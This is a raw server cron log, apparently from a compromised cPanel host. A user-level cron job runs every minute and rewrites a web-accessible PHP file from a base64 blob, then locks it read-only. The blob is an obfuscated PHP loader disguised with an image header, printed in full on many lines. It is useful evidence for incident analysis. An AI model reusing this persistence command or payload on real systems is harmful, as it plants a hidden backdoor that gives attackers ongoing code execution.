Nov  9 11:17:01 server CROND[22426]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:18:01 server CROND[23330]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:19:01 server CROND[24148]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:20:01 server CROND[24981]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 11:20:01 server CROND[24985]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 11:20:01 server CROND[24984]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 11:20:01 server CROND[24986]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:20:01 server CROND[24983]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 11:21:01 server CROND[25238]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:22:01 server CROND[25940]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:23:01 server CROND[26806]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:24:01 server CROND[27839]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:25:01 server CROND[28656]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:25:01 server CROND[28657]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 11:25:01 server CROND[28658]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 11:26:01 server CROND[29435]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:27:01 server CROND[30285]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:27:01 server CROND[30286]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 11:28:01 server CROND[30902]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:29:01 server CROND[31705]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:30:01 server CROND[32630]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 11:30:01 server CROND[32631]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 11:30:01 server CROND[32632]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
